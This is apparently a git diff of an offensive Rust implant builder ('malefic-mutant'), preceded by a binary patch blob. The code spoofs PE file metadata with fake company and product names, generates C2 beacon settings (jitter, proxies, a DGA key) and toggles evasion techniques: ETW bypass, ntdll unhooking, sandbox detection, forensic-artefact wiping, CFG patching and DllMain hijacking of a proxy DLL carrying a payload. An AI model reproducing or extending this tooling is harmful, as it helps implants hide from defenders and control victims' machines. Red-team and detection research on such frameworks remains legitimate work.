zw;h(xJLSNfMx3?a{SlDsIB^^ufp-vh_JBU3|OdWVa=hNl(XtWqauR(wmCFL~y6}_2Vvvw1_ zCPj}?pMy3gCvk++6iGn>qi!q_H||HVB8Y65;ObhT950J`?MN-9pyfm#aC{wH)D}>| z${rIH#>G0V0RyLQJ*ly*AT03O1#v{}pp3^mL#orb3)r@P+7_BzfdPoUr_G*QdrhJ- zsmlVWhsEG4?59m;S4{g&-e0ev!#Rn=%EK?Y-{T5=vGAW5HtAJp{V8Hf>q_&o=)7b4 zUeISLWriIYfy$NE0Ds~v4|B3|i(G5D`Q2v}D>5bxx5$i`9Nn{yz|-C=a+It0xX;+b zE4+9wPp(Ppnb)Pr7ECYS)KO8EKF_o#z0b&IqSA2w{~>pDQuKx}UJvh=2oSShO4u+K z@~X8Ll_?I4FAaE$(IwHaz`2hokPRMjE?~iCWm#sxQhn7uuI^OkTj4!DQbx3ro(^)+ z#@Kl*7%8qO83&g5>Jx49v2Ru}Yj#}r6}IJ8(-UP|F92dfh{}6MlK3dCA7*pUOm`Rx z{~ma~BU^VX1Xvu|vTh!XSPg$ZUyD{4ih*h3prrxb1xNCNDxU(!{MHRZpf2>nHA28I zGMuZ3S};|_f(kjW+(?J2#7SvYo~nWJ2XT_(rCk`zLYOU>7z9!6G?Lfe@#LkgstQC` zP}!FF@d<*JTo5IS@CY5qmK(7Y1%}7Uo{9_81SJjj!|e z;Vog@0DH#(Azuo_fBc8Lyy;O_-Rd+2Z}lTu72fE|I$yDywLl(35{@6OT{>J`@X?$gq%gwdL|Dl^PPvQ zX`rVwwXAh_HsFikUzn2xP4>?HSu#7$V)+Le4QH_3kS|T*=!Dt=yp|$MqEoD+@ytvo zyrUL7ry62f0yMH}k`y;&5Cb&l^+*H%=(jwWKt{a(%yVoR+$duF+T!Q;tZAPXVdoG1 z$pyYi=^J9IGm+FYO?eqx#BZV@rFW*D$;v{MLK>HY`aZELOWLE03I~soq9C7ryn|%z z@Ao9d%O(m99rm0_qa)H8I(g_Ad}u8&hYJe>=A3CxW_Z!qPjwSPSK)?rlwmE-4FQb{ zhUyO6&*DDVyO>=jBE})oQz@O_QE0SEQTAWm(bm3{P?9_4DFeBSz!6)rATlA4GyD9gMi z#JW!P&;r2_yf@7jqQ^CrsxkuiWw@}4Gml(fQ;W-EI3(#5T?|IUk4s#4zG1bdP9>&x z(crtvzMwwK^T)A#aEs!$8WoDpGU@Oj`RfROD+(Qp#UUfc0?sD>f#3!#Bn=?5J5*IkGg#eR~!<<{nsb&2#pk3E^A3{NIXmm^kLslG5$1?*kujD7`DqG9xz?HO) zl~C1Jve1S`wRBhsia_~Y7gd=ipjf<(I?zXZCP2g$xlDvE0WVv5&@pR@Kmd?gARO@| zz`>TAwW4YVmPdDP6mTfpY(4CMpAEH3D$nphGpA@?SMInFEQnW0+lBKtb0Zb|*s=EO z+4tFO)H63QNoTeE*_VW7_CZ9CW=9XE^EOMS5eV3`b5~>94i)Wf%a-G4@A#OHmANKe zwU)rkkFevk`>CuLN&tu=?(ERqr(nGS2oTdmPyH5;Q$H@wgc}IDC3lQG#;HxP3myf~ zY>P8qM5ph;?a|3*f%G2>Qh%H7AY}rSxe-maJ?FCrYHhU7p?=O%LdX&3I`!s=pZ6yp zxd&S#0iwN_-9+VemJ5VH!sUjl9KMrg-vX(kE=JlZ#a(lv9^n9TWcF(|XD#77ey{LO zf}U+SS3|{I_{Ud*FA$HP$=DAs8z&`pAehZWgpA*sn1=mgq4C*_L~)#?;B=?2dlzmL z3S43TXx8PcncCUd{7nnJe%Y=>h6-Zu+2Ms|`cr&)KS>3Ely`@+aX9~YiP}}oPTmak zbT5C^@84MvmgSx53)_{>O;Y$aQB_v-N2#sDHYsjri%T+86OCdp9-XJaUL`hrGks%A zAvW=x@hqHJ$jVV>Kpxk2vP#TexI!NfSyV%WaH#V6&9X8}usET|6sBm<)p`@TH5}K4 zGzj|!zc*PiQ`Iu9SCLQLIwp++SfJO}?9E@WBb--cqw#)|7c{ajc*n+TDYrILeAl^A z6@$}Q#wto{D5hh@(TxiwyFEhv3qpP?vSDi~(8hj>tGUgyfg+nJL*uw6iYrEIgqK`vjhh}Lz5$G{mZhoN9G>zw(A9qt)($&| zU;PlWOOQH*m_5%tLl~F-m? zZ}l#q!we8wSEkc&VFXTN`|!Gn$M<-uC{F}5H-KM_hS)xHMwuZzdI+1GNLYLszFok!rV-H+Rgq(m5+}D`X{m@k(J85&%23QL zRxMRUVF!U+rm~XVkP$8b^*v|w+D#2<$=rV4J|>*qynrlSNDgzrBWZ()*fHNArL%u_ z5-3CgEWNb1vf&fQt6!89?1WCcrKJquu(20Z>N$c|Xg#OTrzsm$MENO|(XWlvqVu5> z;zh-v)9z-dE{Tbi;lX6?Un`u7h%zJLI~IKgra^F&B#iPySo*Xbnqa@Mm=eMCpAI!6 z6uqWejU^Ahn_PJrUFI@+at-@xNq42vysXN1i5_>g_4Xa+WV^)V+OuK>m(riq0j7yx zy38H(^m-49VlZC*Qi~<SZXc;%;MrAYis5drMl0QMUK)j2kT9T!tXxxLx?ehRV%y)1@#DdK3Kol z*z|3ntl#{LW2YQCzRasA%A zEnva#FO^j}1Lfz~6&`;Gi2m?Vv!4eJq5KB;`rB^{GS4=DlPsE&Ki`0KYkOlZ+?2!b zQX2TWKPobT+h^ubw%yPmRELJGdzQ!ca`)C56{>$Sp=fLyS7O2yb1=kjRg)IV$woy( zzXzEpB=CWTW6>ZCY(0vI?~Az2{*^4QNy2p4&|eQ5_1}L1%i4gEL35!0{Y)2QReW}O zAURcfrMZ2lbMxj{L{nFW%H}(PmZApvv&6e1vjx5MB`cCj6h^d&h@o{raNZ4wAfq}S zW&e-pBL0mceW>jO_SmbJ=I~;=GjMyKqQrfHi(y+@@nxE=r4%V*>218tAC#YDn}cGH z@aBAdY7wgHgL{pH4V(#DY*VpAlY2!qJtFjNgqCG`@Z1B4-g$LIdEU+$w9_SCarM=W z69$*ien}=D58o3ex!(IVpM(4F;pzzV(DTn0>`TH5CBo%xmNGMD_k>f*^%g(GuSJ;J zHo6!FfCxyXG1}|d`$1qYHf`J{|3akwim^6Pg>_pio-u!&$2@+VP`W*x6B3@(wnfdL z?rggNBKE0hwwgVk?UQp2rvC~g_QiXUSh5VQ?i2Wy7^ z$Gl)_hh}K4+bV$ou4T}vQ@q86;qc~$SkF~pPxgcq83m^jQuFeUbc*}PBRS7p1IJd6 zK=TS8-3{>&u|2xdmZWQI@-J9H$B#Si`?mR^63}ad>-7$O|)e>5(UcH5{L9{e&vifCJ6O}K16^V!;DyF#^_!O5O%-naP-WTD- zmyGsmjT3Pj>4-A?0ll7OyxqNILEUEiFUJ(00-+KwlHt4^qGs=7EpTYdF>5!qGva+Y&{?#Q@|+XN6nlwVP1 zgUhfCKN2KsF0VJV;Ee$XzvNT0N5k%>03binqfeONxwuWKpa#!Fi1IHe5)n52+c-$sNBQ{N?X|1sqTlwhgq1pS?24B zI}-8ui;o+?l5E;s^^3n{m__9KrN#Fyqf>Jf81FNeQTF&uO+6pCty3iw@UNJIXG??dPc6QK+wwt{pU#Zfv zgyc@SWi0=m!!HG9R8t%|DR-0>-@8~V7i`=PSV!G-@*%y3s+r=|R!2IbA5O08kVEf&dOAPjAWOY|M z;*^d}PesC%7FypWYT7@LCx-|`=vl;R-QWIOI<-xbNzSd_DL<~XmEUNJpGHr zIspAkNenf(UJWMx8h>TsVB$=zg{2j{<&><$JV ztIE+)F#^Z5y_hW_55zPfb;RnL9&7{EsinnJDugEB{-!{lFX1k7!A zyJ_9nyfiP!S ztn9Vug28yxN4Y@VM>fIGBS$=X$7o1EX0Bks1iMjY7xM>b6v|;AvRsAr#0t=&!+nQC zVIf8|4`=Ed7%qcUZ|~6dSC(>D;2qJ$$BE7J$w{YwNc>7J?CF<~2D)1L;nxe5b@4=} z`a3OrerQaZ+g8$Ohx_v3odsbZDR~_`+W#ogiWwgUB9$6=az$Ez5u7BJdGQ43MbUTN zZdv59cmCs`KOdPFDn5Uo5X#G8i{`9qPBAI`cq^Kf{SrO17)@Q|uS2M)x{Qm)P%hu1 z5N7fH?L?=VHV{NHVZeNHQ^Fffix4%9hKV$+JEm+4+YQcLgDs5+69*0b z-*X>BhekB-PN9>%r?;7t6NYi@<8qww+m(|=N0y65&{rTrOLzI-!k2j5c4E0LFvE>1 zlVXLDPLPV^<))XX(8;9pS86N)D`p=~_h+qX+pv<7Uq;Vi1YF~s5=7mn+=tt0mTEVG z91}xuPp;p%B_Ow|2scXG(c)^@MD^s5U-d7Uh0fAji^RJ*xhK&KVQ+2B+In-Ga3tWp z*1$A>F>f{uLTzZcaIPCD)N&Q8#o5v3S??8(ZGK;#rdZrhfxjNAvAN${B^eWJ?uNeH zb`Lo8jQl7LgO8%-tX2AIyA0s`U4rQvwGZSEi%c={?{4*xc#pD8*lj(6lu)8rflBi= zV-T{DrmG!3^iT+TL4=uZi&2+Dl=2%DW(=F>>xy-f^-O>m4y_=@492w4;n+=6%oxy{ z4|JKzN-X1e$TGn$2j^K(ra94dm&< z!DBaDU7VBbu!Lp^+bD$H9mWtz<-9_u#50YYdSF(aPOP+LO{HU0BsNmYH5uIgvs&^` zaI-;ZzD>tbD#~S(jugnG;?6{bTP?{DVj)t++Bib>2j_`Mmu1l2lu zkawrPLx2bccg!5Joy=O!MmBm82f@zrPFlG`L~?;y{+6*2~fNS_teUjtR| zg^Cr-hcq&-HXiKFy74rtM*t3vLlY^d(Ft6jxI3+5$mnrb#Q}YO)a7BrYAOj3SWpII6^U5`G9-i#GqtNV-y+G&+BoRCg!27#3wEs^qfMX zY|C(%@7k+~?ninF-4Z-Vr-s$QeI!H?<4`ym^cGZ>=8RL!)U$1wcYzCEM#a7 z77`I6&?C2P*`WE)wmjE7PpoMlq5G=-a%;ueLe!V|N3sj;l4x1q0ik$A=alYj;lp2> zX0s`>uwEinw?_2aN07SvSkX-4fu~F=Vvd3JM)T(3(SKN zLXmh}*nMGK*JOmZjIiaNV`2p9r%aZJZB@o&!%q&vK3x=8ktRnbfIHt?&L>f9sQ)20 z-B7K+*u%5DlaMbC7^1cZk7u~WZaxYKWM^v$vJA#S29LKL=dYLYxGMVuK$u!h0Z}es zOhxaae$}Yh`B0y)k)Zp7Tys?#-RRyO(LL2yZR?k1_%T6_eu*dSFU+ZM-n^J72l1Xk z{FXN>t5?kQ&2vuSP}=DJza>L#Y!rb53jD0$nx2sZvcLy7LrITn-4kP2ef?f`B0G_? z+zYRnkcY2feCh-|F=CHgLP8N)=TuaDfR3y!Afll^PPE=O$#n%DqJhPs%G%Tjo1Xkc zTq^6?u#p8l!m^9OBy0)5u~%Ac9qO2mEvCcqW3J;XfbbJ3Q2^&_zdIilr|uXs(hcWT zGI6X293)i5*ancOtA_4aFbVsWS~vIzi?|FHilYIT6S4ve)NB+?2adHd;MV0>#9DTK z<1KA|>o`Nk;3;Y>ms2cZ7yA6wt}NUb70I?G^X%RsT!gQ7S&cNz4QTvMbmMxUI{Cj) z6N<~O#WleoEBLKo^R9s1u&h(qO0L4FpKx1t$zh z(yX7XmzHV6{%ofaWIB|~<_h~9)ov-v;HSxe9Bz{KB~}GFS9J7sK`H7$0SwBUx+AH- zmvL@})22<)k;8byha2rVcFcCO6uzucO`b*e>Q~|LCnk8)i@W{k1cqmHlkpRl+17NQ zA{ZbuMcmH5twg&xPn-^X8^hxazwThB_7~|Na= zRe~yjN;t1Ecx9p?Z}XV&)f&@%^X&({e8`f_b@GBL{+y};R*JpP0G6m9m~f9{ECN(0 zF-6X*H=1i#6jy|X(=qdKMCScZi&lS=8`YYp(U1>(h^&XuXO$Tcg=Z{xWe^GvT+K`E z)4H78e^+_^MTK2Y_C<)J1$@XQdw;K6v*?j171#@IYvp-dD8W1pC_pH)-U z3GP9HJjb{xT3?Qi-@T*yy|Dxx*h(zvs^vJ8m;SPAYQE7NCrWdzwT163gv)7~MRoB*tRgT*?SdQ!2b)kslMPNk)qPsTOo zM)d|;;nQG#*dWs-*=WWQ$I*>{++xI>k?`o1{e-EC*Yoz}Jfh0)wSx$N@KR_E4JLka zbosmje!@UDljb#SU>C0%HBBZQT4cG<$=|aKIK-Usna;y2No|-_sgNWZK1WLpoLI

/.txt`. + /// Returns None if dir is None, file doesn't exist, or is empty. + fn pick_from_file(dir: Option<&str>, filename: &str) -> Option { + use rand::seq::SliceRandom; + let dir = dir?; + let path = format!("{}/{}.txt", dir, filename); + let content = std::fs::read_to_string(&path).ok()?; + let lines: Vec<&str> = content.lines().filter(|l| !l.trim().is_empty()).collect(); + let mut rng = rand::thread_rng(); + lines.choose(&mut rng).map(|s| s.trim().to_string()) + } + + /// Replace fields with value "random" with auto-generated fake values. + /// If `metadata_wordlist` is Some, tries to read from `/.txt` first. + pub fn resolve_random(&mut self, metadata_wordlist: Option<&str>) { + use fake::faker::company::en::*; + use fake::faker::lorem::en::*; + use fake::Fake; + use rand::Rng; + + let mut rng = rand::thread_rng(); + + if self.company_name == "random" { + self.company_name = Self::pick_from_file(metadata_wordlist, "company_name") + .unwrap_or_else(|| CompanyName().fake()); + } + if self.product_name == "random" { + self.product_name = Self::pick_from_file(metadata_wordlist, "product_name") + .unwrap_or_else(|| CatchPhrase().fake()); + } + if self.file_description == "random" { + self.file_description = Self::pick_from_file(metadata_wordlist, "file_description") + .unwrap_or_else(|| Bs().fake()); + } + if self.original_filename == "random" { + self.original_filename = Self::pick_from_file(metadata_wordlist, "original_filename") + .unwrap_or_else(|| { + let word: String = Word().fake(); + format!("{}.exe", word) + }); + } + if self.internal_name == "random" { + self.internal_name = Self::pick_from_file(metadata_wordlist, "internal_name") + .unwrap_or_else(|| { + self.original_filename + .strip_suffix(".exe") + .unwrap_or(&self.original_filename) + .to_string() + }); + } + if self.file_version == "random" { + self.file_version = Self::pick_from_file(metadata_wordlist, "file_version") + .unwrap_or_else(|| { + format!( + "{}.{}.{}.{}", + rng.gen_range(1..16), + rng.gen_range(0..10), + rng.gen_range(0..10), + rng.gen_range(0..10000) + ) + }); + } + if self.product_version == "random" { + self.product_version = Self::pick_from_file(metadata_wordlist, "product_version") + .unwrap_or_else(|| { + format!( + "{}.{}.{}.{}", + rng.gen_range(1..16), + rng.gen_range(0..10), + rng.gen_range(0..10), + rng.gen_range(0..10000) + ) + }); + } + if self.compile_time == "random" { + self.compile_time = Self::pick_from_file(metadata_wordlist, "compile_time") + .unwrap_or_else(|| { + let months = [ + "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", + "Nov", "Dec", + ]; + let days_in_month = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + let year = rng.gen_range(2000..=2025); + let month_idx = rng.gen_range(0..12usize); + let day = rng.gen_range(1..=days_in_month[month_idx]); + let hour = rng.gen_range(0..24); + let min = rng.gen_range(0..60); + let sec = rng.gen_range(0..60); + format!( + "{} {:02} {} {:02}:{:02}:{:02}", + months[month_idx], day, year, hour, min, sec + ) + }); + } + } +} + #[derive(Debug, Clone, Serialize, Deserialize)] pub struct PESignatureModify { pub feature: bool, @@ -617,8 +720,6 @@ pub enum Version { Community, #[strum(serialize = "professional")] Professional, - #[strum(serialize = "inner")] - Inner, } #[derive(Debug, Clone, Copy, EnumString, Display)] @@ -635,14 +736,75 @@ pub enum TransportProtocolType { Tcp, #[strum(serialize = "http")] Http, - // #[strum(serialize = "https")] - // Https, + #[strum(serialize = "https")] + Https, +} + +#[derive(Debug, Clone, Copy, EnumString, Display, Default)] +pub enum TransportApiType { + #[default] + #[strum(serialize = "raw")] + Raw, + #[strum(serialize = "winhttp")] + WinHttp, + #[strum(serialize = "wininet")] + WinInet, } #[derive(Debug, Clone, Serialize, Deserialize)] pub struct LoaderConfig { #[serde(default)] pub proxydll: Option, + #[serde(default)] + pub evader: Option, + #[serde(default)] + pub obfuscate: Option, +} + +/// Per-technique evader switches for malefic-starship. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct EvaderConfig { + /// Anti-sandbox / anti-emulator environment checks + #[serde(default)] + pub anti_emu: bool, + /// ETW bypass via VEH + hardware breakpoint + ntdll restore + #[serde(default)] + pub etw_pass: bool, + /// ntdll unhooking via clean suspended-process read + #[serde(default)] + pub god_speed: bool, + /// Sleep with XOR stack-memory obfuscation + #[serde(default)] + pub sleep_encrypt: bool, + /// Clear registry artefacts + prefetch files + #[serde(default)] + pub anti_forensic: bool, + /// Patch CFG (Control Flow Guard) validity check + #[serde(default)] + pub cfg_patch: bool, + /// Restore hooked NT functions from the on-disk ntdll + #[serde(default)] + pub api_untangle: bool, + /// Emit decoy benign API calls for behavioural-analysis evasion + #[serde(default)] + pub normal_api: bool, +} + +/// Obfuscation feature switches for malefic-starship. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ObfuscateConfig { + /// Compile-time AES string encryption (obf_strings) + #[serde(default)] + pub strings: bool, + /// Control-flow flattening (obf_flow) + #[serde(default)] + pub flow: bool, + /// Junk code insertion (obf_junk) + #[serde(default)] + pub junk: bool, + /// Secure memory zeroization (obf_memory) + #[serde(default)] + pub memory: bool, } #[derive(Debug, Clone, Serialize, Deserialize)] @@ -668,6 +830,19 @@ pub struct ProxyDllConfig { /// Enable resource packing to program.zip #[serde(default)] pub pack_resources: bool, + /// Include spite.bin in resource pack (for external_spite mode) + #[serde(default)] + pub include_spite: bool, + /// Custom spite.bin path (default: resources/spite.bin) + #[serde(default = "default_spite_path")] + pub spite_path: String, + /// Hijack DLLMAIN + #[serde(default)] + pub hijack_dllmain: bool, +} + +fn default_spite_path() -> String { + "resources/spite.bin".to_string() } fn default_proxydll_dir() -> String { diff --git a/malefic-mutant/src/generate/cargo_features.rs b/malefic-mutant/src/generate/cargo_features.rs new file mode 100644 index 0000000..fe2588c --- /dev/null +++ b/malefic-mutant/src/generate/cargo_features.rs @@ -0,0 +1,158 @@ +use std::fs; +use toml_edit::{Array, DocumentMut, Item}; + +use malefic_gateway::lazy_static; + +use crate::config::{ImplantConfig, Version}; +use crate::{log_error, log_success, DEFAULT, FEATURES}; + +// ── Utility functions ────────────────────────────────────────────── + +pub fn edit_cargo_toml(path: &str, mutate: F) -> anyhow::Result<()> +where + F: FnOnce(&mut DocumentMut) -> anyhow::Result<()>, +{ + let content = + fs::read_to_string(path).map_err(|e| anyhow::anyhow!("Failed to read {}: {}", path, e))?; + let mut doc: DocumentMut = content + .parse() + .map_err(|e| anyhow::anyhow!("Failed to parse {}: {}", path, e))?; + mutate(&mut doc)?; + fs::write(path, doc.to_string()) + .map_err(|e| anyhow::anyhow!("Failed to write {}: {}", path, e))?; + log_success!("Cargo.toml file {} has been updated", path); + Ok(()) +} + +pub fn set_default_features(path: &str, features: &[String]) -> anyhow::Result<()> { + edit_cargo_toml(path, |doc| { + let feat_table = doc[&FEATURES] + .as_table_mut() + .ok_or_else(|| anyhow::anyhow!("No [features] table in {}", path))?; + let mut arr = Array::new(); + for f in features { + arr.push(f.as_str()); + } + feat_table["default"] = Item::Value(arr.into()); + Ok(()) + }) +} + +pub fn array_ensure(arr: &mut Array, value: &str) { + if arr.iter().all(|x| x.as_str().unwrap() != value) { + arr.push(value); + } +} + +// ── Business functions ───────────────────────────────────────────── + +static CONFIG_MODULE_TOML_PATH: &str = "malefic-modules/Cargo.toml"; +static CONFIG_3RD_TOML_PATH: &str = "malefic-3rd/Cargo.toml"; +static CONFIG_FEATURES_TOML_PATH: &str = "malefic-crates/features/Cargo.toml"; + +pub fn update_features_toml(version: &Version, source: bool, runtime: &str) { + let build_feat = if source { "source" } else { "prebuild" }; + let ver_feat = version.to_string(); + let runtime_feat = match runtime { + "smol" => "runtime_smol", + "async-std" => "runtime_asyncstd", + _ => "runtime_tokio", + }; + set_default_features( + CONFIG_FEATURES_TOML_PATH, + &[build_feat.to_string(), ver_feat, runtime_feat.to_string()], + ) + .expect("Failed to update features Cargo.toml"); +} + +pub fn update_module_toml(modules: &[String], _source: bool) { + // source/prebuild now propagated from malefic-features via default features + set_default_features(CONFIG_MODULE_TOML_PATH, modules) + .expect("Failed to update module Cargo.toml"); +} + +pub fn update_3rd_toml(modules: &[String]) { + if modules.iter().any(|m| m == "rem_static") && modules.iter().any(|m| m == "rem_reflection") { + log_error!( + "Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time" + ); + panic!( + "Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time" + ); + } + set_default_features(CONFIG_3RD_TOML_PATH, modules).expect("Failed to update 3rd Cargo.toml"); +} + +pub fn update_pulse_toml(_source: bool) { + // pulse was refactored to be self-contained no_std shellcode (commit 2775ade), + // no longer depends on malefic-win-kit, source/prebuild features are no-ops. +} + +lazy_static! { + static ref ALLOCTOR: String = "Alloctor".to_string(); + static ref ALLOCTOR_EX: String = "AlloctorEx".to_string(); + static ref NORMAL: String = "NORMAL".to_string(); + static ref DYNAMIC: String = "DYNAMIC".to_string(); + static ref SYSCALLS: String = "SYSCALLS".to_string(); + static ref CONFIG_WINKIT_TOML_PATH: String = "malefic-win-kit/Cargo.toml".to_string(); + static ref STACK_SPOOFER: String = "StackSpoofer".to_string(); +} + +pub fn update_winkit_toml(_implant_config: &ImplantConfig, _version: &Version) { + // Community edition: no win-kit source to configure +} + +#[cfg(test)] +mod tests { + use std::fs; + use std::path::PathBuf; + use std::time::{SystemTime, UNIX_EPOCH}; + + use toml_edit::DocumentMut; + + use super::set_default_features; + + fn temp_manifest_path() -> PathBuf { + let mut path = std::env::temp_dir(); + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + path.push(format!("malefic-mutant-features-{}.toml", unique)); + path + } + + #[test] + fn set_default_features_rewrites_only_selected_modules() { + let path = temp_manifest_path(); + fs::write( + &path, + r#" +[package] +name = "fixture" +version = "0.1.0" + +[features] +default = ["full"] +pwd = [] +execute_bof = [] +pty = [] +"#, + ) + .unwrap(); + + let features = vec!["pwd".to_string(), "execute_bof".to_string()]; + set_default_features(path.to_str().unwrap(), &features).unwrap(); + + let doc: DocumentMut = fs::read_to_string(&path).unwrap().parse().unwrap(); + let defaults = doc["features"]["default"].as_array().unwrap(); + let values: Vec = defaults + .iter() + .map(|item| item.as_str().unwrap().to_string()) + .collect(); + + assert_eq!(values, features); + + let _ = fs::remove_file(path); + } +} diff --git a/malefic-mutant/src/generate/codegen.rs b/malefic-mutant/src/generate/codegen.rs new file mode 100644 index 0000000..11ca02d --- /dev/null +++ b/malefic-mutant/src/generate/codegen.rs @@ -0,0 +1,996 @@ +use crate::config::{BasicConfig, BuildConfig, GuardrailConfig, ImplantConfig, TargetConfig}; +use crate::{log_info, log_step, log_success, log_warning}; +use anyhow::Context; +use chrono::Local; +use std::fs; +use std::fs::File; +use std::io::Write; +use std::path::Path; +use url::Url; + +static CONFIG_CORE_RS_PATH: &str = "malefic-crates/config/src/lib.rs"; + +// Protocol defaults +const DEFAULT_TLS_PORT: &str = ":443"; +const DEFAULT_HTTP_PROXY_PORT: u16 = 8080; +const DEFAULT_SOCKS_PROXY_PORT: u16 = 1080; + +// REM transport +const REM_LINK_PREFIX: &str = "-l memory+socks://:@memory -c "; + +fn default_proxy_port(scheme: &str) -> u16 { + match scheme { + "http" | "https" => DEFAULT_HTTP_PROXY_PORT, + "socks5" | "socks" => DEFAULT_SOCKS_PROXY_PORT, + _ => DEFAULT_HTTP_PROXY_PORT, + } +} + +fn obf_or_plain_expr(value: &str, _use_obfstr: bool) -> String { + // Protection is now automatic via LiteralObfuscator in lazy_static! macro. + // The macro transforms "lit".to_string() → obf_string!("lit") at compile time. + format!("{:?}.to_string()", value) +} + +fn bytes_expr(value: &str, _use_obfstr: bool) -> String { + // Protection is now automatic via LiteralObfuscator in lazy_static! macro. + // "lit".to_string() → obf_string!("lit"), then .into_bytes() converts to Vec. + format!("{:?}.to_string().into_bytes()", value) +} + +fn backup_generated_file(path: &str) { + let path = Path::new(path); + if !path.exists() { + return; + } + + let Some(file_name) = path.file_name().and_then(|name| name.to_str()) else { + log_warning!( + "Failed to determine filename for '{}', skipping backup", + path.display() + ); + return; + }; + + let timestamp = Local::now().format("%Y%m%d%H%M%S").to_string(); + let mut candidate_name = format!("{file_name}.backup-{timestamp}"); + let mut candidate_path = path.with_file_name(&candidate_name); + let mut suffix = 2u32; + + while candidate_path.exists() { + candidate_name = format!("{file_name}.backup-{timestamp}-v{suffix}"); + candidate_path = path.with_file_name(&candidate_name); + suffix += 1; + } + + match fs::copy(path, &candidate_path) { + Ok(_) => log_info!( + "Backed up '{}' to '{}'", + path.display(), + candidate_path.display() + ), + Err(err) => log_warning!( + "Failed to backup '{}' to '{}': {}", + path.display(), + candidate_path.display(), + err + ), + } +} + +pub fn update_core_config( + server: &BasicConfig, + implant_config: &ImplantConfig, + build_config: Option<&BuildConfig>, +) -> anyhow::Result<()> { + log_step!("Updating core configuration..."); + + // Validate configuration + server + .validate_targets() + .context("Configuration validation failed")?; + + // When mod is bind, only tcp or udp protocols are allowed + if implant_config.r#mod.to_lowercase() == "bind" { + for (index, target) in server.targets.iter().enumerate() { + let protocol = target.detect_protocol(); + if protocol != "tcp" && protocol != "udp" { + anyhow::bail!( + "Target {} uses '{}' protocol, but bind mode only supports tcp/udp", + index, + protocol + ); + } + } + } + + backup_generated_file(CONFIG_CORE_RS_PATH); + let mut file = File::create(CONFIG_CORE_RS_PATH) + .with_context(|| format!("Failed to create {}", CONFIG_CORE_RS_PATH))?; + + // Generate configuration content + let use_obfstr = build_config.map(|cfg| cfg.obfstr).unwrap_or(true); + let config_content = generate_multi_protocol_config(server, use_obfstr); + + file.write_all(config_content.as_bytes()) + .context("Failed to write config file")?; + + log_success!("Core configuration has been updated successfully"); + Ok(()) +} + +fn generate_multi_protocol_config(server: &BasicConfig, use_obfstr: bool) -> String { + let mut config = String::new(); + + // Generate module imports + config.push_str(&generate_module_imports(server)); + + // Generate lazy_static blocks with inline RuntimeConfig construction + config.push_str(&generate_public_config_section(server, use_obfstr)); + + config +} + +fn generate_runtime_config_inline_expr(server: &BasicConfig, use_obfstr: bool) -> String { + let proxy = &server.proxy; + let mut proxy_scheme = String::new(); + let mut proxy_host = String::new(); + let mut proxy_port = String::new(); + let mut proxy_username = String::new(); + let mut proxy_password = String::new(); + if !proxy.url.is_empty() { + if let Ok(proxy_url) = Url::parse(&proxy.url) { + proxy_scheme = proxy_url.scheme().to_string(); + proxy_host = proxy_url.host_str().unwrap_or("").to_string(); + proxy_port = proxy_url + .port() + .map(|p| p.to_string()) + .unwrap_or_else(|| default_proxy_port(&proxy_scheme).to_string()); + proxy_username = proxy_url.username().to_string(); + proxy_password = proxy_url.password().unwrap_or("").to_string(); + } + } + + let guardrail_expr = generate_guardrail_config_expr(&server.guardrail, use_obfstr); + let server_configs_expr = generate_server_configs_expr(server, use_obfstr); + let dga_key_expr = if server.dga.enable { + obf_or_plain_expr(&server.dga.key, use_obfstr) + } else { + "String::new()".to_string() + }; + + format!( + r#"load_runtime_config(RuntimeConfig {{ + cron: {cron}, + jitter: {jitter}f64, + keepalive: {keepalive}, + retry: {retry}u32, + max_cycles: {max_cycles}i32, + name: {name}, + key: {key}, + use_env_proxy: {use_env_proxy}, + proxy_url: {proxy_url}, + proxy_scheme: {proxy_scheme}, + proxy_host: {proxy_host}, + proxy_port: {proxy_port}, + proxy_username: {proxy_username}, + proxy_password: {proxy_password}, + dga_enable: {dga_enable}, + dga_key: {dga_key}, + dga_interval_hours: {dga_interval_hours}u32, + guardrail: {guardrail}, + server_configs: {server_configs}, + max_packet_length: {max_packet_length}usize, + }})"#, + cron = obf_or_plain_expr(&server.cron, use_obfstr), + jitter = server.jitter, + retry = server.retry, + max_cycles = server.max_cycles.unwrap_or(-1), + name = obf_or_plain_expr(&server.name, use_obfstr), + key = bytes_expr(&server.key, use_obfstr), + use_env_proxy = proxy.use_env_proxy, + proxy_url = obf_or_plain_expr(&proxy.url, use_obfstr), + proxy_scheme = obf_or_plain_expr(&proxy_scheme, use_obfstr), + proxy_host = obf_or_plain_expr(&proxy_host, use_obfstr), + proxy_port = obf_or_plain_expr(&proxy_port, use_obfstr), + proxy_username = obf_or_plain_expr(&proxy_username, use_obfstr), + proxy_password = obf_or_plain_expr(&proxy_password, use_obfstr), + dga_enable = server.dga.enable, + dga_key = dga_key_expr, + dga_interval_hours = server.dga.interval_hours, + keepalive = server.keepalive, + guardrail = guardrail_expr, + server_configs = server_configs_expr, + max_packet_length = server.max_packet_length, + ) +} + +fn generate_public_config_section(server: &BasicConfig, use_obfstr: bool) -> String { + let runtime_config_expr = generate_runtime_config_inline_expr(server, use_obfstr); + let (age_priv_expr, age_pub_expr) = if server.secure.enable { + ( + obf_or_plain_expr(&server.secure.private_key, use_obfstr), + obf_or_plain_expr(&server.secure.public_key, use_obfstr), + ) + } else { + ("String::new()".to_string(), "String::new()".to_string()) + }; + let mut config = String::new(); + config.push_str(&format!( + r#"lazy_static! {{ + pub static ref RUNTIME_CONFIG: RuntimeConfig = {runtime_config_expr}; + // Basic configuration + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + pub static ref JITTER: f64 = RUNTIME_CONFIG.jitter; + pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive; + // Target server fault tolerance configuration + pub static ref RETRY: u32 = RUNTIME_CONFIG.retry; + pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles; + // Encryption configuration + pub static ref NAME: String = RUNTIME_CONFIG.name.clone(); + pub static ref KEY: Vec = RUNTIME_CONFIG.key.clone(); + // Proxy configuration + pub static ref USE_ENV_PROXY: bool = RUNTIME_CONFIG.use_env_proxy; + pub static ref PROXY_URL: String = RUNTIME_CONFIG.proxy_url.clone(); + pub static ref 